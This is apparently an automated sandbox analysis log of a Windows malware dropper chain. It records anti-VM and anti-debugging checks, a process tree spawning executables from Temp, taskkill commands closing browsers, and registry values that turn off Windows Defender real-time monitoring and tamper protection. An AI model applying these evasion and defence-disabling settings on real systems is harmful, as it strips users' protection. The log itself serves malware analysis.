Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT HypervisorPresent FROM Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\EBAEBFIIEC.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C56C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C56C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000000B.00000002.2293226797.0000000001174000.00000040.00000001.01000000.0000000D.sdmp, 5a20612cd1.exe, 0000000F.00000002.2574231478.00000000007E6000.00000040.00000001.01000000.0000000F.sdmp, 0882197cda.exe, 00000010.00000002.2676985278.0000000001299000.00000040.00000001.01000000.00000010.sdmp, 5a20612cd1.exe, 00000011.00000002.3290918350.00000000007E6000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: EBAEBFIIEC.exe, 00000009.00000003.2225256889.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}!
Source: 0882197cda.exe, 00000010.00000002.2678008367.00000000018A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWxg
Source: 0882197cda.exe, 00000010.00000002.2678008367.000000000185E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2215093487.0000000001A12000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2215093487.0000000001A47000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 0000000F.00000002.2574983040.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, 0882197cda.exe, 00000010.00000002.2678008367.00000000018D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2885586316.000002949DCEC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2885586316.000002949DCA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000001F.00000002.2891102981.00000294A7DBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: file.exe, 00000000.00000002.2214382919.0000000001239000.00000040.00000001.01000000.00000003.sdmp, EBAEBFIIEC.exe, 00000009.00000002.2254331253.0000000000764000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000A.00000002.2293486604.0000000001174000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 0000000B.00000002.2293226797.0000000001174000.00000040.00000001.01000000.0000000D.sdmp, 5a20612cd1.exe, 0000000F.00000002.2574231478.00000000007E6000.00000040.00000001.01000000.0000000F.sdmp, 0882197cda.exe, 00000010.00000002.2676985278.0000000001299000.00000040.00000001.01000000.00000010.sdmp, 5a20612cd1.exe, 00000011.00000002.3290918350.00000000007E6000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: EBAEBFIIEC.exe, 00000009.00000003.2236068829.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\7
Source: 5a20612cd1.exe, 0000000F.00000002.2574983040.000000000106E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: firefox.exe, 0000001F.00000002.2885586316.000002949DCEC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

System information queried: KernelDebuggerInformation

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\EBAEBFIIEC.exe

Code function: 9_2_04DD0380 rdtsc

9_2_04DD0380

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C5B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C5BC410

Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 9_2_005A652B mov eax, dword ptr fs:[00000030h]	9_2_005A652B
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 9_2_005AA302 mov eax, dword ptr fs:[00000030h]	9_2_005AA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00FBA302 mov eax, dword ptr fs:[00000030h]	10_2_00FBA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00FB652B mov eax, dword ptr fs:[00000030h]	10_2_00FB652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00FBA302 mov eax, dword ptr fs:[00000030h]	11_2_00FBA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00FB652B mov eax, dword ptr fs:[00000030h]	11_2_00FB652B

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C58B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C58B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0882197cda.exe PID: 2324, type: MEMORYSTR

Excessive usage of taskkill to terminate processes

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EBAEBFIIEC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\EBAEBFIIEC.exe "C:\Users\user\Documents\EBAEBFIIEC.exe"	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe "C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe "C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe "C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe "C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe "C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Process created: unknown unknown

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 6693ff7180.exe, 00000012.00000002.2802281447.00000000010A2000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 5a20612cd1.exe, 0000000F.00000002.2574231478.00000000007E6000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Program Manager
Source: file.exe, file.exe, 00000000.00000002.2214382919.0000000001239000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: #q`Program Manager
Source: skotes.exe, skotes.exe, 0000000B.00000002.2293589397.00000000011B4000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: eProgram Manager
Source: firefox.exe, 0000001F.00000002.2877647317.000000C4687FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?ProgmanListenerWi

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C58B341 cpuid

0_2_6C58B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C5535A0

Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
